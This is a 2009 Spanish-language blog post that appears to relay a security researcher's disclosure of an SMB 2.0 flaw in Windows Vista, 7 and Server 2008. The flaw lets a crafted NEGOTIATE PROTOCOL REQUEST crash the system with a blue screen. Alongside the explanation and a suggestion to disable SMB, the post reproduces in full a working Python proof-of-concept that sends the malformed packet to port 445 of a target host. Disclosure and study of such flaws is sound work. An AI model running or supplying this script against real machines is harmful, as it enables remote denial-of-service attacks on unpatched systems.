Vulnerabilidad en Windows Vista, 7 y 2008 Server
Laurent Gaffie ha descubierto un exploit que afecta a Windows Vista, 7 y 2008 Server; Este método ataca via NPR (NEGOTIATE PROTOCOL REQUEST) el cual es el metodo de consulta del servicio SMB (Server Message Block). La vulnerabilidad está presente sólo en las versiones de Windows que incluyen Server Message Block 2.0 y el protocolo activado. Un ataque exitoso no requiere acceso local a la máquina y los resultados serÃan un BSOD (Pantallazo Azul de la Muerte).
Laurent tiene una prueba del fallo disponible con la descripción hecha en la forma de un script (por favor, use de manera educativa). No hay parche para esta vulnerabilidad, pero deshabilitar el protocolo SMB protege su sistema hasta que una solución esté disponible.
Tecnicamente el erro consiste en que el archivo SRV2.SYS falla al manejar de manera incorrecta las cabeceras SMB para la Funcionalidad de NPR (NEGOTIATE PROTOCOL REQUEST). El NPR es la primera consulta del SMB que envia un cliente a un servidor SMB, y se usa para identificar el dialecto SMB que se utilizará para la comunicación adicional.
The NEGOTIATE PROTOCOL REQUEST is the first SMB query a client send to a SMB server, and it’s used
to identify the SMB dialect that will be used for futher communication.
Prueba del Fallo (Script)
Smb-Bsod.py:
#!/usr/bin/python
#When SMB2.0 recieve a “&” char in the “Process Id High” SMB header field
#it dies with a PAGE_FAULT_IN_NONPAGED_AREA error
from socket import socket
from time import sleep
host = “IP_ADDR”, 445
buff = (
“\x00\x00\x00\x90″ # Begin SMB header: Session message
“\xff\x53\x4d\x42″ # Server Component: SMB
“\x72\x00\x00\x00″ # Negociate Protocol
“\x00\x18\x53\xc8″ # Operation 0×18 & sub 0xc853
“\x00\x26″# Process ID High: –>
normal value should be “\x00\x00″
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe”
“\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54″
“\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31″
“\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00″
“\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57″
“\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61″
“\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c”
“\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c”
“\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e”
“\x30\x30\x32\x00″
)
s = socket()
s.connect(host)
s.send(buff)
s.close()
—————————————————————-
Fuentes:
http://g-laurent.blogspot.com/2009/09/windows-vista7-smb20-negotiate-protocol.html

septiembre 15th, 2009 at 11:13 AM
[..]Articulo Indexado Correctamente[..]…